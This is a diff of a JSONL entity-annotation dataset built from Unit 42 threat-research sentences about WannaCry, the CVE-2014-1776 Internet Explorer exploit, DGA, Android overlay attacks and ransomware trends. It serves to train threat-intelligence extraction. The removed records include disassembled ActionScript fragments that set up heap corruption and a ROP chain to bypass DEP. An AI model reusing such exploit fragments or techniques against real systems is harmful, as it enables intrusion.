-{"id":2817,"text":"Microsoft patched this vulnerability as part of the March 2017 Monthly Security Update Release by Microsoft Security Bulletin MS17-010.","entities":[{"id":45706,"label":"identity","start_offset":0,"end_offset":9},{"id":45708,"label":"identity","start_offset":98,"end_offset":107},{"id":45707,"label":"TIME","start_offset":52,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2818,"text":"This is a SYSTEM-level remote code execution (RCE) in the handling of the Server Message Block (SMB) protocol in Microsoft Windows.","entities":[{"id":48036,"label":"attack-pattern","start_offset":23,"end_offset":50},{"id":48037,"label":"SOFTWARE","start_offset":74,"end_offset":100},{"id":48038,"label":"SOFTWARE","start_offset":113,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":2819,"text":" The attack uses this vulnerability to spread the WanaCrypt0r ransomware on the network.","entities":[{"id":8612,"label":"malware","start_offset":50,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":2820,"text":"This is a classic network worm-class vulnerability like MS-Blaster and Conficker.","entities":[{"id":45709,"label":"vulnerability","start_offset":56,"end_offset":66},{"id":45710,"label":"vulnerability","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":2821,"text":" Early reports indicated that the initial attack vector was via spam and\/or phishing email.","entities":[{"id":48039,"label":"attack-pattern","start_offset":64,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":2822,"text":"However, this has not been confirmed and is unlikely to account for the global spread of the malware.","entities":[],"relations":[],"Comments":[]}
-{"id":2823,"text":" When the WanaCrypt0r ransomware executes successfully, it will encrypt key files on the system and display a ransom note as shown below (SOURCE: Microsoft).","entities":[{"id":45712,"label":"identity","start_offset":146,"end_offset":155},{"id":45711,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2824,"text":"Figure 1 Ransom note for WanaCrypt0r  ","entities":[{"id":8627,"label":"tools","start_offset":25,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":2825,"text":"One thing reports have indicated that make this attack unique is a “killswitch” capability built into the malware.","entities":[],"relations":[],"Comments":[]}
-{"id":2826,"text":"This “killswitch” will prevent the WanaCrypt0r ransomware from executing.","entities":[{"id":45713,"label":"malware","start_offset":35,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":2827,"text":"The “killswitch” is code which will attempt to connect to an extremely long domain that should not resolve.","entities":[],"relations":[],"Comments":[]}
-{"id":2828,"text":"The initial variant of WanaCrypt0r uses hxxp:\/\/iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com, however, there are reports of newer variants using different domains.","entities":[{"id":48040,"label":"URL","start_offset":40,"end_offset":94},{"id":8633,"label":"malware","start_offset":23,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":2829,"text":"If it was successful in connecting to the domain, the ransomware would not execute.","entities":[],"relations":[],"Comments":[]}
-{"id":2830,"text":"However, it was easily subverted to work against the malware.","entities":[],"relations":[],"Comments":[]}
-{"id":2831,"text":"A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this “killswitch”, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.","entities":[{"id":48041,"label":"location","start_offset":29,"end_offset":43},{"id":48042,"label":"malware","start_offset":213,"end_offset":224}],"relations":[],"Comments":[]}
-{"id":2832,"text":" On Friday, May 12, 2017, Microsoft announced that they were making an emergency patch available for out-of-support versions of Windows (Windows XP, Windows 8 and Windows Server 2003).  ","entities":[{"id":45717,"label":"SOFTWARE","start_offset":128,"end_offset":135},{"id":45714,"label":"TIME","start_offset":4,"end_offset":24},{"id":45716,"label":"identity","start_offset":26,"end_offset":35},{"id":45718,"label":"SOFTWARE","start_offset":137,"end_offset":147},{"id":45719,"label":"SOFTWARE","start_offset":149,"end_offset":158},{"id":45720,"label":"SOFTWARE","start_offset":163,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":2833,"text":"As of this writing attacks appear to have subsided.","entities":[],"relations":[],"Comments":[]}
-{"id":2834,"text":"This is likely due to increased uptake of the patch MS17-010 in light of the WanaCrypt0r attacks, as well as efforts made within the security community.","entities":[{"id":48043,"label":"malware","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":2835,"text":" Unit 42 research shows there is likely very little actual payment of ransom.","entities":[{"id":48044,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":2836,"text":"We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals:  This results in a total of 36 BTC, or roughly $63k based on the current price of BTC.","entities":[{"id":48045,"label":"identity","start_offset":22,"end_offset":33},{"id":48046,"label":"SOFTWARE","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":2837,"text":"Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.","entities":[{"id":48047,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":2838,"text":" Reconnaissance  This attack does not appear to be targeted.","entities":[],"relations":[],"Comments":[]}
-{"id":2839,"text":"Therefore, there appears to be little recon as part of this attack.","entities":[],"relations":[],"Comments":[]}
-{"id":2840,"text":"There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB.","entities":[],"relations":[],"Comments":[]}
-{"id":2841,"text":"But these reports haven’t been conclusively verified.","entities":[],"relations":[],"Comments":[]}
-{"id":2842,"text":" There is no consensus in the industry on what the delivery method\/initial infection vector is.","entities":[],"relations":[],"Comments":[]}
-{"id":2843,"text":"There have been several theories:  Unit 42 believes the most likely delivery method is method #2.","entities":[{"id":48048,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":2844,"text":"However, this is not conclusively provenLateral Movement","entities":[{"id":45722,"label":"attack-pattern","start_offset":40,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":2845,"text":" The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.","entities":[{"id":48049,"label":"malware","start_offset":5,"end_offset":16},{"id":8683,"label":"vulnerability","start_offset":133,"end_offset":144}],"relations":[{"id":381,"from_id":48049,"to_id":8683,"type":"exploits"}],"Comments":[]}
-{"id":2846,"text":"A successful attack against this vulnerability will infect the target system with the WanaCrypt0r ransomware, which will encrypt data on the target system and attempt to spread itself once again.","entities":[{"id":48050,"label":"malware","start_offset":86,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":2847,"text":"Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet.","entities":[{"id":45723,"label":"vulnerability","start_offset":115,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":2848,"text":"These reports indicate that in addition to the internal lateral movement already outlined, the WanaCrypt0r ransomware will scan for port 445 on random external IP addresses and if it finds an IP address with an open port 445, it will then scan all devices on the same \/24 IP range (i.e. that share the first three octets as that IP address with the open port 445).  In general, WanaCrypt0r does not have C2 capabilities but it does utilize the TOR network to communicate encryption keys for decryption upon payment of ransom.","entities":[{"id":48051,"label":"malware","start_offset":95,"end_offset":106},{"id":48053,"label":"tools","start_offset":444,"end_offset":447},{"id":48052,"label":"malware","start_offset":378,"end_offset":389}],"relations":[],"Comments":[]}
-{"id":2849,"text":"It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.","entities":[{"id":48054,"label":"threat-actor","start_offset":67,"end_offset":81},{"id":8706,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":8709,"label":"vulnerability","start_offset":195,"end_offset":206},{"id":8704,"label":"vulnerability","start_offset":30,"end_offset":42}],"relations":[{"id":383,"from_id":48054,"to_id":8709,"type":"exploits"},{"id":382,"from_id":48054,"to_id":8704,"type":"exploits"}],"Comments":[]}
-{"id":2850,"text":" Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability\/exploit with a ransomware family.","entities":[{"id":45724,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2851,"text":"Users are urged to apply the necessary Microsoft patch to protect themselves against this threat.","entities":[{"id":48055,"label":"identity","start_offset":39,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":2852,"text":" For protections, customers are advised to view this blog post that outlines the various ways the Palo Alto Networks platform prevents this threat.  Cyber Threat Alliance member ElevenPaths has developed a tool which can be used to attempt to recover some files deleted by WanaCrypt0r.","entities":[{"id":48059,"label":"identity","start_offset":178,"end_offset":189},{"id":48058,"label":"identity","start_offset":149,"end_offset":170},{"id":48057,"label":"identity","start_offset":98,"end_offset":116},{"id":48056,"label":"malware","start_offset":273,"end_offset":284}],"relations":[],"Comments":[]}
-{"id":2853,"text":"You can find more information on this tool here.","entities":[],"relations":[],"Comments":[]}
-{"id":2854,"text":"Register for Ignite ’17 Security Conference  Vancouver, BC June 12–15, 2017  ","entities":[{"id":48060,"label":"location","start_offset":45,"end_offset":58},{"id":48061,"label":"TIME","start_offset":59,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":2855,"text":"Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[],"relations":[],"Comments":[]}
-{"id":2856,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]}
-{"id":2857,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]}
-{"id":2858,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2859,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2860,"text":"The latest episode of the Don’t Panic cybersecurity podcast is now live.","entities":[],"relations":[],"Comments":[]}
-{"id":2861,"text":" In this latest episode, Ryan goes back to the topic he talked about in his 2018 predictions piece “The Era of Software Supply-Chain Attacks Has Begun”: Software Supply Chain attacks.  ","entities":[{"id":48062,"label":"identity","start_offset":25,"end_offset":29},{"id":48063,"label":"TIME","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":2862,"text":"As a reminder, “Don’t Panic,” is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson.  You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.","entities":[{"id":45725,"label":"identity","start_offset":57,"end_offset":64},{"id":45729,"label":"identity","start_offset":165,"end_offset":183},{"id":45726,"label":"identity","start_offset":70,"end_offset":112},{"id":45727,"label":"identity","start_offset":126,"end_offset":148},{"id":45728,"label":"identity","start_offset":149,"end_offset":160},{"id":45731,"label":"identity","start_offset":227,"end_offset":237},{"id":45732,"label":"identity","start_offset":275,"end_offset":294},{"id":45733,"label":"SOFTWARE","start_offset":307,"end_offset":313},{"id":45734,"label":"SOFTWARE","start_offset":315,"end_offset":326},{"id":45735,"label":"SOFTWARE","start_offset":345,"end_offset":348}],"relations":[],"Comments":[]}
-{"id":2863,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2864,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2865,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2866,"text":"Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.","entities":[{"id":48064,"label":"SOFTWARE","start_offset":44,"end_offset":62},{"id":48065,"label":"vulnerability","start_offset":77,"end_offset":90}],"relations":[{"id":384,"from_id":48064,"to_id":48065,"type":"has"}],"Comments":[]}
-{"id":2867,"text":"The vulnerability allows an attacker to take full control over the system after a user views a web page in their browser.","entities":[],"relations":[],"Comments":[]}
-{"id":2868,"text":"According to Microsoft, it affects versions of Internet Explorer from version 6 to 11, meaning that almost all IE users are vulnerable to this bug.","entities":[{"id":48066,"label":"SOFTWARE","start_offset":47,"end_offset":64},{"id":45736,"label":"identity","start_offset":13,"end_offset":22},{"id":45738,"label":"SOFTWARE","start_offset":111,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":2869,"text":"This vulnerability is so widespread that Microsoft has released patches to protect Windows XP, for which Microsoft has ended support since April 8, 2014.","entities":[{"id":48068,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":48070,"label":"TIME","start_offset":139,"end_offset":152},{"id":48067,"label":"identity","start_offset":41,"end_offset":50},{"id":48069,"label":"identity","start_offset":105,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":2870,"text":" Researchers from Palo Alto Networks have investigated this exploit in depth and concluded that this is a Use-After-Free vulnerability that occurs when Internet Explorer tries to reuse a freed CMarkup object.","entities":[{"id":48072,"label":"SOFTWARE","start_offset":152,"end_offset":169},{"id":48071,"label":"identity","start_offset":18,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":2871,"text":"Attackers can manipulate memory allocations by using JavaScript to allocate an object that is freed before all references to that object are removed.","entities":[],"relations":[],"Comments":[]}
-{"id":2872,"text":"Once the object is free the Flash file will overwrite a length field in the vector object and allow arbitrary memory access.","entities":[{"id":48073,"label":"SOFTWARE","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":2873,"text":"After that the exploit uses a ROP chain to overwrite the virtual function table of a sound object to gain full control.","entities":[],"relations":[],"Comments":[]}
-{"id":2874,"text":"The exploit utilized several advanced exploit techniques to make it almost 100% reliable.","entities":[],"relations":[],"Comments":[]}
-{"id":2875,"text":"The exploit used in the wild contains two major parts, one is HTML which sets up the page to exploit, and the other is a Flash file which builds the memory layout in IE process and triggers the bug.","entities":[{"id":48074,"label":"SOFTWARE","start_offset":166,"end_offset":168},{"id":48075,"label":"SOFTWARE","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":2876,"text":"Two parts must be combined to ensure a successful attack.","entities":[],"relations":[],"Comments":[]}
-{"id":2877,"text":"The attack separated critical code into different pieces so that researchers could not reproduce the original exploit until they have both files.","entities":[],"relations":[],"Comments":[]}
-{"id":2878,"text":" The techniques used in this exploit are similar to those used in other recent attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2879,"text":"Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.","entities":[{"id":48076,"label":"vulnerability","start_offset":27,"end_offset":40},{"id":48077,"label":"SOFTWARE","start_offset":50,"end_offset":69},{"id":48079,"label":"SOFTWARE","start_offset":135,"end_offset":155},{"id":48078,"label":"vulnerability","start_offset":118,"end_offset":131}],"relations":[{"id":385,"from_id":48077,"to_id":48076,"type":"has"},{"id":386,"from_id":48079,"to_id":48078,"type":"has"}],"Comments":[]}
-{"id":2880,"text":"Similarities in each of these exploits indicate that they may have been created by the same author.","entities":[],"relations":[],"Comments":[]}
-{"id":2881,"text":"All three exploits share the same exploit techniques:  All the Flash files used across the exploits have similar structures and even the same variable names.","entities":[{"id":48080,"label":"SOFTWARE","start_offset":63,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":2882,"text":"For example, they all use the Timer object to check if a Vector object is modified.","entities":[],"relations":[],"Comments":[]}
-{"id":2883,"text":"The Timers are all set to repeat every one second for 4,096 seconds.","entities":[{"id":8814,"label":"TIME","start_offset":33,"end_offset":49},{"id":8815,"label":"TIME","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":2884,"text":"The Vector object is named ‘s’ and the Sound object is named “ss” in the Flash files used in all three exploits.","entities":[{"id":48081,"label":"SOFTWARE","start_offset":73,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2885,"text":"The following code is snippet from the disassembled ActionScript code of CVE-2014-1776.","entities":[{"id":48082,"label":"vulnerability","start_offset":73,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":2886,"text":" Neither of these variables is actually used in this exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":2887,"text":"If we go back and examine the exploit code for CVE-2013-3163, we see that the string ‘org’ was originally used as the trigger, and the variable ‘found’ was originally used as a flag indicating if the Vector object was modified.","entities":[{"id":48083,"label":"vulnerability","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":2888,"text":"It appears that the attacker reused the code from the earlier exploit and forgot to remove the unnecessary variables.","entities":[],"relations":[],"Comments":[]}
-{"id":2889,"text":"s[_local28][(((_local41 - _local12) \/ 4) + 9)] = _local9;  s[_local28][(((_local41 - _local12) \/ 4) + 10)]","entities":[],"relations":[],"Comments":[]}
-{"id":2890,"text":"= 13078672;","entities":[],"relations":[],"Comments":[]}
-{"id":2891,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 11)]","entities":[],"relations":[],"Comments":[]}
-{"id":2892,"text":"= _","entities":[],"relations":[],"Comments":[]}
-{"id":2893,"text":"local7","entities":[],"relations":[],"Comments":[]}
-{"id":2894,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 12)]","entities":[],"relations":[],"Comments":[]}
-{"id":2895,"text":"= 3096481936;","entities":[],"relations":[],"Comments":[]}
-{"id":2896,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 13)]","entities":[],"relations":[],"Comments":[]}
-{"id":2897,"text":"= (this.m_longArrBase - 8);","entities":[],"relations":[],"Comments":[]}
-{"id":2898,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 14)]","entities":[],"relations":[],"Comments":[]}
-{"id":2899,"text":"= 13078672;","entities":[],"relations":[],"Comments":[]}
-{"id":2900,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 15)]","entities":[],"relations":[],"Comments":[]}
-{"id":2901,"text":"= this.m_rawLen;","entities":[],"relations":[],"Comments":[]}
-{"id":2902,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 16)]","entities":[],"relations":[],"Comments":[]}
-{"id":2903,"text":"= 3968066955;","entities":[],"relations":[],"Comments":[]}
-{"id":2904,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 17)]","entities":[],"relations":[],"Comments":[]}
-{"id":2905,"text":"= 753635372;","entities":[],"relations":[],"Comments":[]}
-{"id":2906,"text":" The exploit uses the code above to restore the corrupted object and save the stack frame on the heap so that the process would not crash after the exploit is successful.","entities":[],"relations":[],"Comments":[]}
-{"id":2907,"text":"All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.","entities":[],"relations":[],"Comments":[]}
-{"id":2908,"text":"_local10 = this.m_ZwProtectAddr;  _local41 = _local6;  s[_local28][((((_local6 - _local12) \/ 4) - 2) - 4)] = (_local41 & 0xFFFFF000);  s[_local28][((((_local6 - _local12) \/ 4) - 1) - 4)] = 0x3000;  s[_local28][((_local6 - _local12) \/ 4)] = _local10;  s[_local28][(((_local6 - _local12) \/ 4) + 1)] = (_local41 + 28);  The code above shows the Flash code setting up the ROP chain to bypass DEP and includes another interesting marker.","entities":[{"id":48084,"label":"SOFTWARE","start_offset":342,"end_offset":347}],"relations":[],"Comments":[]}
-{"id":2909,"text":"Normally programmers begin counting at 0 when referencing arrays, but in all three exploits they began at -2, which is quite unusual.","entities":[],"relations":[],"Comments":[]}
-{"id":2910,"text":"Additionally, each sample uses a Sound object named ‘snd’ to gain control, and they all invoke the function toString().  ","entities":[],"relations":[],"Comments":[]}
-{"id":2911,"text":"The many similarities between these exploits lead us to believe they were written by the same actor or group.","entities":[],"relations":[],"Comments":[]}
-{"id":2912,"text":"Or at the very least, a common template has been used to craft exploits for the three Internet Explorer vulnerabilities we analyzed.","entities":[{"id":48085,"label":"SOFTWARE","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":2913,"text":"This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.","entities":[{"id":45740,"label":"identity","start_offset":107,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":2914,"text":" Palo Alto Networks customers with a Threat Prevention subscription were automatically protected from exploitation of these vulnerabilities:  We suggest customers ensure they are running the latest content version on their devices and apply the patches Microsoft released on May 1, 2014.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":48086,"label":"identity","start_offset":1,"end_offset":19},{"id":48087,"label":"identity","start_offset":253,"end_offset":262},{"id":48088,"label":"TIME","start_offset":275,"end_offset":286}],"relations":[],"Comments":[]}
-{"id":2915,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2916,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2917,"text":"In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.","entities":[{"id":48089,"label":"TIME","start_offset":3,"end_offset":15},{"id":48090,"label":"identity","start_offset":17,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2918,"text":"In that research, we also showed how these attacks were very broad and grew very quickly.","entities":[],"relations":[],"Comments":[]}
-{"id":2919,"text":" At the time, we said that the sudden, surging value of cryptocurrencies was likely behind the sudden, strong rise of these new attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2920,"text":"We said that if cryptocurrency values continue to remain high, we could expect to see attackers continue to focus on finding ways to carry out attacks to gain cryptocurrency, and that those attacks would continue to adapt proven attack techniques.","entities":[],"relations":[],"Comments":[]}
\ No newline at end of file
+{"id":470,"text":" DGA by itself can’t harm you.","entities":[],"relations":[],"Comments":[]}
+{"id":471,"text":"But it is an important piece that enables modern malware to try and evade security products and countermeasures.","entities":[],"relations":[],"Comments":[]}
+{"id":472,"text":"The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008.","entities":[{"id":46125,"label":"TIME","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
+{"id":473,"text":"DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.","entities":[{"id":46126,"label":"malware","start_offset":31,"end_offset":40},{"id":46127,"label":"TIME","start_offset":52,"end_offset":56},{"id":46128,"label":"TIME","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":474,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]}
+{"id":475,"text":" Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:  In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations.","entities":[],"relations":[],"Comments":[]}
+{"id":476,"text":"In particular, security vendors are bringing automation to bear to counter the attackers’ automation.","entities":[],"relations":[],"Comments":[]}
+{"id":477,"text":"New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.","entities":[],"relations":[],"Comments":[]}
+{"id":478,"text":" You can also learn more about these new technologies and look at deploying them as an additional layer of protection.  ","entities":[],"relations":[],"Comments":[]}
+{"id":479,"text":"About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
+{"id":480,"text":" They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.  Got a topic you want us to write about for you, your friends, or your family?","entities":[{"id":45787,"label":"identity","start_offset":25,"end_offset":43},{"id":45789,"label":"identity","start_offset":44,"end_offset":51},{"id":45790,"label":"identity","start_offset":25,"end_offset":72}],"relations":[],"Comments":[]}
+{"id":481,"text":"Email us at u42comms@paloaltonetworks.com.","entities":[{"id":1630,"label":"EMAIL","start_offset":12,"end_offset":41}],"relations":[],"Comments":[]}
+{"id":482,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":483,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":484,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":485,"text":"Unit 42 released details about a vulnerability that affects Android devices running operating systems older than 8.0 Oreo.","entities":[{"id":1635,"label":"identity","start_offset":0,"end_offset":7},{"id":46129,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":46130,"label":"SOFTWARE","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":486,"text":"The vulnerability leaves Android users at risk of falling victim to an Android Toast Overlay attack.","entities":[{"id":44751,"label":"SOFTWARE","start_offset":25,"end_offset":32},{"id":44753,"label":"attack-pattern","start_offset":71,"end_offset":99}],"relations":[{"id":155,"from_id":44753,"to_id":44751,"type":"targets"}],"Comments":[]}
+{"id":487,"text":"Patches are available that fix this vulnerability, so Android users should get the latest updates as soon as possible.","entities":[{"id":46131,"label":"SOFTWARE","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
+{"id":488,"text":" How it Works  ","entities":[],"relations":[],"Comments":[]}
+{"id":489,"text":"The vulnerability affects the Toast feature on Android devices, an Android feature that allows display messages and notifications of other applications to “pop up,” and allows an attacker to employ an overlay attack.","entities":[{"id":45791,"label":"SOFTWARE","start_offset":47,"end_offset":54},{"id":45792,"label":"SOFTWARE","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
+{"id":490,"text":" An overlay attack happens when an attacker places a window over a legitimate application on the device.","entities":[],"relations":[],"Comments":[]}
+{"id":491,"text":"Users will interact with the window, thinking they are performing their intended function, but they are actually engaging with the attackers overlay window and executing the attacker’s desired function.","entities":[],"relations":[],"Comments":[]}
+{"id":492,"text":"You can see an example of how this would work in Figure 1.","entities":[],"relations":[],"Comments":[]}
+{"id":493,"text":" Figure 1: Bogus patch installer overlying malware requesting administrative permissions  This interaction can install malware or malicious software on the device, grant malware full administrative privileges or lock the user out and render the device unusable.  In the past successful overlay attacks were typically dependent on two conditions:  However, with this particular vulnerability, these conditions are no longer required for a successful attack.","entities":[],"relations":[],"Comments":[]}
+{"id":494,"text":"This means that attackers can use this vulnerability in apps users get from places other than Google Play.","entities":[{"id":46132,"label":"SOFTWARE","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
+{"id":495,"text":"And when they install these malicious apps, they don’t have to ask for the “draw on top” permission.","entities":[],"relations":[],"Comments":[]}
+{"id":496,"text":" How to Defend Against It  Keeping devices updated is a general security best practice.","entities":[],"relations":[],"Comments":[]}
+{"id":497,"text":"The Android Toast Overlay attack specifically targets outdated devices using versions prior to 8.0.","entities":[{"id":46133,"label":"attack-pattern","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":498,"text":"In order to defend against the Android Toast Overlay attack, update all Android devices to the latest version.","entities":[{"id":44756,"label":"attack-pattern","start_offset":31,"end_offset":59},{"id":44757,"label":"SOFTWARE","start_offset":31,"end_offset":38},{"id":44758,"label":"SOFTWARE","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
+{"id":499,"text":"Additionally, avoid downloading malicious applications by only downloading from the Google Play store is another best practice you should always follow.","entities":[{"id":46134,"label":"SOFTWARE","start_offset":84,"end_offset":101}],"relations":[],"Comments":[]}
+{"id":500,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":501,"text":" Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
+{"id":502,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":503,"text":"This post is also available in:      日本語 (Japanese)  Ransomware is one of the top threats in cybersecurity and a focus area for Palo Alto Networks.","entities":[{"id":46135,"label":"identity","start_offset":128,"end_offset":146}],"relations":[],"Comments":[]}
+{"id":504,"text":"In the current threat landscape, ransom payments are rising and organizations are seeking to protect themselves from threat actors.","entities":[],"relations":[],"Comments":[]}
+{"id":505,"text":"In the 2021 Unit 42 Ransomware Threat Report, we detailed the observations and the trend of top ransomware families from January 2020-January 2021.","entities":[{"id":1681,"label":"identity","start_offset":12,"end_offset":19},{"id":46138,"label":"TIME","start_offset":134,"end_offset":146},{"id":46136,"label":"TIME","start_offset":7,"end_offset":11},{"id":46137,"label":"TIME","start_offset":121,"end_offset":133}],"relations":[],"Comments":[]}
+{"id":506,"text":"This post supplements that information based on observations from the first three months of 2021, and will discuss the propagation of different ransomware families we observed in the wild and the different types of extortion used.","entities":[{"id":46139,"label":"TIME","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":507,"text":"We hope the information will help readers get a clear picture of current directions in ransomware trends.","entities":[],"relations":[],"Comments":[]}
+{"id":508,"text":"In the first quarter (Q1) of 2021, Unit 42 detected 113 different ransomware families in the wild.","entities":[{"id":46140,"label":"TIME","start_offset":21,"end_offset":33},{"id":46141,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
+{"id":509,"text":"Based on the statistical data, the top 15 ransomware families only cover 52.3% of total ransomware cases.","entities":[],"relations":[],"Comments":[]}
+{"id":510,"text":"This demonstrates the diversity of ransomware and emphasizes how difficult it is to expand ransomware detection coverage with static profiling.","entities":[],"relations":[],"Comments":[]}
+{"id":511,"text":"Figure 1 shows the proportion of ransomware sample numbers for different families that Unit 42 detected in the wild.","entities":[{"id":46142,"label":"identity","start_offset":87,"end_offset":94}],"relations":[],"Comments":[]}
+{"id":512,"text":"Among all, 6.7% of the ransomware samples are Virlock, which has been active since 2014.","entities":[{"id":46143,"label":"malware","start_offset":46,"end_offset":53},{"id":46144,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
